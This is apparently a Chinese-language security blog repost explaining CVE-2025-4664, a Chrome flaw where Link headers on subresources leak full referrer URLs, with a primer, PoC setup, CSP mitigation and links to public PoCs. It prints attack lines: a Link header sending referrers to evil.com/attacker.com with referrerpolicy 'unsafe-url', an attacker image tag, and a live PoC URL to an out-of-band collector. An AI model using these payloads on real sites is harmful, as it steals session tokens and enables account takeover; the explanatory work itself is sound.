CVE-2025-4664:利用 Chrome 0day 漏洞泄露会话令牌
原文链接: https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247531480&idx=1&sn=2e497359655cae7f01a5cd5eaf883a10
CVE-2025-4664:利用 Chrome 0day 漏洞泄露会话令牌
Ots安全 2025-07-01 05:34
此漏洞通过捕获 URL 中的会话令牌来实现帐户接管 (ATO),通过使用目标应用程序、SSO 提供程序和攻击者服务器的概念验证设置进行演示,并通过视频演示展示对 Chrome 版本 136.0.7103.113 与修补后的 138.0.7204.49 的攻击,这与网络安全中引荐来源策略滥用的研究相一致(例如,W3C 引荐来源策略候选建议,2017 年)。
该问题源于 Chrome 在子资源的链接标头中处理引荐来源策略的罕见行为,这是其他浏览器中未复制的功能,强调了内容安全策略 (CSP) 补丁纠正的一个关键疏忽,更多详细信息请参阅 Chromium 的错误报告 (问题 415810136)。
不久前,我偶然发现了安全研究员 Vsevolod Kokorin(@slonser_)的一条有趣的推文:
slonser_ 的推文
这三行代码片段几乎很无聊 – 创建一个元素,指向src用户控制的 URL,将其放入 DOM。
随后的帖子引起了 Google 安全工程师 @terjanq 的注意,他回复道:
terjanq 的回复
我检查了NIST 页面并在链接的Chrome 发行说明中发现了这一点:
谷歌安全团队刚刚确认,这个漏洞(编号为 CVE-2025-4664)正在被广泛利用。
一个被积极利用的 0day 漏洞?我必须深入挖掘。
为了理解此漏洞的工作原理,让我快速介绍一些关键的网络概念。
快速入门
– HTTP Referer:当您的浏览器从一个域加载包含来自另一个域的资源(图像、CSS)的页面时,它会发送一个Referer标头,告诉第二个域该请求来自哪里。
-
引荐来源政策:网站可以控制共享多少引荐来源信息 – 从不发送任何内容(no-referrer)到发送包含敏感查询参数的完整 URL(unsafe-url)。
-
链接标头:一个 HTTP 标头,用于告知浏览器需要预加载或预取哪些资源以进行优化。
Chrome 的奇怪行为
Chrome 具有其他浏览器所没有的有趣功能:它处理Link子资源请求的 HTTP 标头。
标Link头通常用于资源提示:
Link: <https://cdn.example.com/style.css>; rel="preload"; as="style"
这会告诉 Chrome 尽早开始下载 CSS 文件。这是正常的优化操作。
但这里有一个问题——HeaderLink也可以指定 referrer 策略,Chrome 会遵守这个策略,即使是图片这样的子资源。
因此攻击者可以制作如下的响应:
Link: <https://attacker.com/log>; rel="preload"; as="image"; referrerpolicy="unsafe-url"
当 Chrome 处理此标头时,它会向攻击者的服务器发出预加载请求并发送完整的引荐来源 URL – 包括任何敏感的查询参数。
其他浏览器会忽略子资源标头中的 referrer 策略Link。只有 Chrome 认为这值得实现。
通过引荐来源泄露导致账户接管
危险之处就在于此。许多应用程序在身份验证后会将敏感数据放入 URL 中:
https://app.com/profile?session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...
如果该页面加载了攻击者控制的图像:
<imgsrc="https://attacker.com/track.png" />
攻击者回应:
HTTP/1.1 200 OK
Content-Type: image/png
Link: <https://evil.com/steal>; rel="preload"; as="image"; referrerpolicy="unsafe-url"
[PNG image data]
Chrome 处理Link标头,向发出预加载请求https://evil.com/steal,并包含带有受害者会话令牌的完整引荐来源 URL。
攻击者现在拥有有效的会话令牌并可以冒充用户。
概念验证
为了模拟 ATO,我构建了一个包含三个组件的完整演示:
– 目标应用程序(example.com:5000):具有将会话令牌放入 URL 中的 OAuth 流程的主应用程序
-
SSO 提供商(sso.example.com:5001):处理身份验证
-
攻击者(attacker.test:9000):利用 CVE-2025-4664 窃取代币
攻击流程:
1. 用户完成 OAuth 登录后,重定向至/profile?session=
-
个人资料页面加载攻击者的图像:
-
攻击者使用恶意Link标头进行响应
-
Chrome 发出预加载请求,泄露带有会话令牌的完整引用者
事件流
不过,CVE-2025-4664 并不仅限于图像或 OAuth 重定向。任何攻击者控制的子资源都可能泄露包含敏感查询参数的完整页面 URL。
视频演示
以下是对易受攻击的 Chrome 版本 (136.0.7103.113) 与最新稳定版本 (138.0.7204.49) 的利用情况的并排比较:
缓解策略
Chrome 已修复此问题,因此它仅影响旧版本。主要的防御措施是严格的 CSP:
Content-Security-Policy: img-src 'self'https://trusted-cdn.com
这可以防止从不受信任的域加载图像。
如果您好奇 Chrome 是如何修复此问题的,请查看 Chromium 错误报告中的提交:https://issues.chromium.org/issues/415810136。
PoC
完整的 PoC 存储库:amalmurali47/cve-2025-4664。
https://github.com/amalmurali47/cve-2025-4664
如果想要进行无需任何设置的快速测试,请尝试Rhynorater 的 PoC。
https://poc.rhynorater.com/qt/test.html?j=2.#%3Cimg%20src%3D%22https%3A%2F%2Fx.poc.rhynorater.com%2FleakImage.php%3Furl%3Dhttps%3A%2F%2Fyywkld65s2ahmutz0320svb8l3a5jcf5t.oast.site%22%3E
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里